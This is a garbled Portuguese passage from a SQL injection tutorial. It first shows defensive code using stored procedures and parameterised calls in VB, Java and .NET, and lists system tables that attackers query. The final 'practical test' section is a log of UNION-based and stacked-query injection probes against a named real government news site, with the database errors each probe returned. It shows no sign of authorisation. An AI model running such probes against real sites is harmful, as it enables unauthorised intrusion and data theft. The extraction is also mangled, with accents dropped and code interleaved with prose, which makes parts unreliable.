Sub ParameterExample() Dim cmd As New ADODB.Command Dim rs As New ADODB.Recordset Dim prm As ADODB.Parameter

' Set the command's connection using a connection string. cmd.ActiveConnection = "DSN=pubs;uid=sa" ' Set the command's text, and specify that it is an SQL statement. cmd.CommandText = "byroyalty" //Name of the stored procedure cmd.CommandType = adCmdStoredProc //Type is set to invoke a stored procedure ' Set up a new parameter for the stored procedure. Set prm = cmd.CreateParameter("Royalty", adInteger, adParamInput, , 50) This sets up template for parameter cmd.Parameters.Append prm ' Create a recordset by executing the command. Set rs = cmd.Execute ' Loop through the recordset and print the first field. Do While Not rs.EOF Debug.Print rs(0) rs.MoveNext Loop ' Close the recordset. rs.Close End Sub Se as instrues arbitrrias (declaraes de SQL dinmico) devem ser PreparedStatements. Ambos PreparedStatements e procedimentos armazenados instruo SQL antes que a entrada do usurio adicionada, o que torna impossvel usurio para modificar a instruo SQL 5.7 Exemplo de criao de SP Vamos usar como exemplo pressRelease.jsp. String query = SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = + request.getParameter(pressReleaseID); Statement stmt = dbConnection.createStatement(); ResultSet rs = stmt.executeQuery(query); O primeiro passo para garantir esse cdigo tirar a instruo SQL da aplicao web e coloc-la em um procedimento armazenado no servidor de banco de dados. 5.7.1 Criar SP Java Criar um procedimento armazenado, como mostrado abaixo no servidor de banco de dados usando a interface do cliente. CREATE PROCEDURE getPressRelease @pressReleaseID integer AS SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = @pressReleaseID 5.7.2 Usando instrues chamveis em Java Em vez de construir uma seqncia de instrues SQL para chamar o procedimento armazenado, um CallableStatement criado para execut-lo com segurana. CallableStatement cs = dbConnection.prepareCall({call getPressRelease(?)}); cs.setInt(1, usadas, use compilam a a entrada do real.

Integer.parseInt(request.getParameter(pressReleaseID))); ResultSet rs = cs.executeQuery(); 5.7.3. Exemplo em Rede Em um aplicativo. NET, a mudana semelhante. Este cdigo ASP.NET vulnervel SQL Injection: String query = "SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = " + Request["pressReleaseID"]; SqlCommand command = new SqlCommand(query,connection); command.CommandType = CommandType.Text; SqlDataReader dataReader = command.ExecuteReader(); 5.7.4 Uso do Objeto comando Net. A instruo SQL deve ser convertida para um procedimento armazenado, que pode ser acessado de forma segura por um procedimento armazenado SqlCommand: SqlCommand command = new SqlCommand("getPressRelease",connection); command.CommandType = CommandType.StoredProcedure; command.Parameters.Add("@PressReleaseID",SqlDbType.Int); command.Parameters[0].Value = Convert.ToInt32(Request["pressReleaseID"]); SqlDataReader dataReader = command.ExecuteReader(); 6. Comparao de servidores de banco de dados

Bind Support to Use of INTO/OUT Database USERNAME Variables/P Access to Multiple EXECUTE FILE Serverparameter () repared system SP statements command functions statements MS SQL Server Oracle PostgrSQL X X X X X X X

6.1 tabelas do servidor de banco de dados que so utilizados por atacantes 6.1.1 MS SQL Server

Sysobjects

syscolumns

6.1.2 Oracle

SYS.USEROBJECTS SYS.USER_VIEWS SYS.USER_TAB_COLUMN

SYS.TAB SYS.ALL_TABLES SSYS.USER_CONSTRAINTS

SYS.USER_TABLES SYS.USER_CATALOG SYS.USER_TRIGGERS

6.1.3 MS Access Server MSysObjects Referncias: SITE_1: Disponvel na URL: http://www.securitydocs.com/library/3587/, e acesso em 19/05/2011 SITE_2: Disponvel na URL: http://unixwiz.net/techtips/sql-injection.html, e acesso em 19/05/2011 MsysRelationships MSysQueries MSysACEs

Teste Prtico SQL Injection http://aurora.ce.gov.br/noticias/texto.asp?id=1650 ';--union select @@version UNION select id from noticias where id=1650Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--union select @@version UNION select id from noticias where id=1650' AND posica' at line 1 /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNIONALL select id,dataCorrigido from noticias where id=1650--'Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'dataCorrigido' in 'field list' /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1511 '--show databases'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'show databases'' AND posicao = '1' ORDER BY dataCorrigido DESC' at line 1 /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'union select @@version--'Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'posicao' in 'field list' /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80004005' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]The used SELECT statements have a different number of columns /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,dataCorrigido from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'dataCorrigido' in 'field list' /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,posicao from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80004005' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]The used SELECT statements have a different number of columns /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,posicao,posicao from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80004005' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]The used SELECT statements have a different number of columns /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,posicao,posicao,descricao from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'descricao' in 'field list' /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 UNION id,legenda,titulo,resenha,texto,data,texto from noticias where id=1650--'Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

ALL

select

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' ORDER BY dataCorrigido DESC' at line 1 /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650; '- -select count(*) from noticias

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select count(*) from noticias' AND posicao = '1' ORDER BY dataCorrigido DESC' at line 1 /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650--';select * from noticias where posicao='1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select * from noticias where posicao='1' AND posicao = '1' ORDER BY dataCorrigi' at line 1 /comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650';select * from noticias where posicao='1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select * from noticias where posicao='1' AND posicao = '1' ORDER BY dataCorrigi' at line 1 /comenta.asp, line 183

select id,titulo from noticias where id=1;select * from noticias where posicao=1 and posicao=1 order by data;